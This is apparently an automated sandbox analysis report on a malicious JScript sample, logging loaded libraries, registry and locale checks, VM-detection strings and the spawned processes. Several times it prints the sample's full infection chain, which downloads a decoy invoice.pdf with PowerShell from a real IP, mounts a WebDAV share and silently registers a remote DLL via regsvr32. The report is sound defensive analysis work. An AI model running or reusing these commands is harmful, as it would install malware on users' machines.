Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9623.js.csv");ITextStream.WriteLine(" entry:8108 f:eofqbnyah");ITextStream.WriteLine(" exec:2 f:eofqbnyah");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4827			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5018			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6600	Thread sleep count: 4827 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5952	Thread sleep count: 5018 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7092	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3728	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3544	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6720	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2189115442.00000254798D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2189115442.0000025479938000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3431809551.0000027626640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3433008289.000002762BC5C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.2134435634.000002EEBEC9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000009.00000002.3431785623.000002762662B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@9e&v
Source: net.exe, 00000007.00000002.2189115442.0000025479938000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
